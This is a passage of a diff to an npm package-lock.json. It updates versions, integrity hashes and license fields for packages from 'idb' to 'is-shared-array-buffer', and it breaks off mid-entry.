@@ -9639,12 +9869,14 @@
     "node_modules/idb": {
       "version": "7.1.1",
       "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.1.tgz",
-      "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ=="
+      "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==",
+      "license": "ISC"
     },
     "node_modules/identity-obj-proxy": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
       "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==",
+      "license": "MIT",
       "dependencies": {
         "harmony-reflect": "^1.4.6"
       },
@@ -9653,9 +9885,10 @@
       }
     },
     "node_modules/ignore": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.1.tgz",
-      "integrity": "sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==",
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
+      "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
@@ -9663,26 +9896,30 @@
     "node_modules/immediate": {
       "version": "3.0.6",
       "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
-      "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="
+      "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
+      "license": "MIT"
     },
     "node_modules/immer": {
       "version": "9.0.21",
       "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz",
       "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==",
+      "license": "MIT",
       "funding": {
         "type": "opencollective",
         "url": "https://opencollective.com/immer"
       }
     },
     "node_modules/immutable": {
-      "version": "4.3.5",
-      "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.5.tgz",
-      "integrity": "sha512-8eabxkth9gZatlwl5TBuJnCsoTADlL6ftEr7A4qgdaTsPyreilDSnUk57SO+jfKcNtxPa22U5KK6DSeAYhpBJw=="
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.1.3.tgz",
+      "integrity": "sha512-+chQdDfvscSF1SJqv2gn4SRO2ZyS3xL3r7IW/wWEEzrzLisnOlKiQu5ytC/BVNcS15C39WT2Hg/bjKjDMcu+zg==",
+      "license": "MIT"
     },
     "node_modules/import-fresh": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
-      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
+      "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
+      "license": "MIT",
       "dependencies": {
         "parent-module": "^1.0.0",
         "resolve-from": "^4.0.0"
@@ -9694,10 +9931,20 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/import-fresh/node_modules/resolve-from": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+      "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/import-local": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz",
-      "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz",
+      "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==",
+      "license": "MIT",
       "dependencies": {
         "pkg-dir": "^4.2.0",
         "resolve-cwd": "^3.0.0"
@@ -9716,6 +9963,7 @@
       "version": "1.1.5",
       "resolved": "https://registry.npmjs.org/imsc/-/imsc-1.1.5.tgz",
       "integrity": "sha512-V8je+CGkcvGhgl2C1GlhqFFiUOIEdwXbXLiu1Fcubvvbo+g9inauqT3l0pNYXGoLPBj3jxtZz9t+wCopMkwadQ==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "sax": "1.2.1"
       }
@@ -9724,6 +9972,7 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.19"
       }
@@ -9733,6 +9982,7 @@
       "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
       "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -9741,6 +9991,8 @@
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+      "license": "ISC",
       "dependencies": {
         "once": "^1.3.0",
         "wrappy": "1"
@@ -9749,57 +10001,47 @@
     "node_modules/inherits": {
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "license": "ISC"
     },
     "node_modules/ini": {
       "version": "1.3.8",
       "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
-      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
+      "license": "ISC"
     },
     "node_modules/internal-slot": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.7.tgz",
-      "integrity": "sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
+      "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
+      "license": "MIT",
       "dependencies": {
         "es-errors": "^1.3.0",
-        "hasown": "^2.0.0",
-        "side-channel": "^1.0.4"
+        "hasown": "^2.0.2",
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/ipaddr.js": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz",
-      "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==",
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.2.0.tgz",
+      "integrity": "sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 10"
       }
     },
-    "node_modules/is-arguments": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz",
-      "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==",
-      "dev": true,
-      "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
-      },
-      "engines": {
-        "node": ">= 0.4"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
     "node_modules/is-array-buffer": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz",
-      "integrity": "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==",
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",
+      "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9811,14 +10053,20 @@
     "node_modules/is-arrayish": {
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
-      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
+      "license": "MIT"
     },
     "node_modules/is-async-function": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz",
-      "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==",
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",
+      "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "async-function": "^1.0.0",
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.1",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9828,11 +10076,15 @@
       }
     },
     "node_modules/is-bigint": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
-      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
+      "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
+      "license": "MIT",
       "dependencies": {
-        "has-bigints": "^1.0.1"
+        "has-bigints": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9842,6 +10094,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
       "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "license": "MIT",
       "dependencies": {
         "binary-extensions": "^2.0.0"
       },
@@ -9850,12 +10103,13 @@
       }
     },
     "node_modules/is-boolean-object": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
-      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",
+      "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9868,6 +10122,7 @@
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
       "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -9876,22 +10131,45 @@
       }
     },
     "node_modules/is-core-module": {
-      "version": "2.13.1",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz",
-      "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==",
+      "version": "2.16.1",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
+      "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
+      "license": "MIT",
       "dependencies": {
-        "hasown": "^2.0.0"
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-data-view": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
+      "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "is-typed-array": "^1.1.13"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-date-object": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
-      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
+      "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9904,6 +10182,7 @@
       "version": "2.2.1",
       "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
       "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+      "license": "MIT",
       "bin": {
         "is-docker": "cli.js"
       },
@@ -9918,16 +10197,21 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
       "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/is-finalizationregistry": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz",
-      "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",
+      "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9938,6 +10222,7 @@
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz",
       "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -9949,16 +10234,21 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
       "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
     "node_modules/is-generator-function": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz",
-      "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.0.tgz",
+      "integrity": "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.0",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9971,6 +10261,7 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
       "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+      "license": "MIT",
       "dependencies": {
         "is-extglob": "^2.1.1"
       },
@@ -9979,9 +10270,13 @@
       }
     },
     "node_modules/is-map": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz",
-      "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
+      "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -9989,12 +10284,14 @@
     "node_modules/is-module": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
-      "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g=="
+      "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==",
+      "license": "MIT"
     },
     "node_modules/is-negative-zero": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
-      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
+      "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -10006,16 +10303,19 @@
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
       "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.12.0"
       }
     },
     "node_modules/is-number-object": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
-      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",
+      "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10028,6 +10328,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
       "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10036,6 +10337,7 @@
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
       "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -10044,6 +10346,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz",
       "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -10054,15 +10357,19 @@
     "node_modules/is-potential-custom-element-name": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
-      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ=="
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+      "license": "MIT"
     },
     "node_modules/is-regex": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
-      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
+      "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10075,6 +10382,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
       "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10083,24 +10391,33 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
       "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
     "node_modules/is-set": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz",
-      "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
+      "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-shared-array-buffer": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
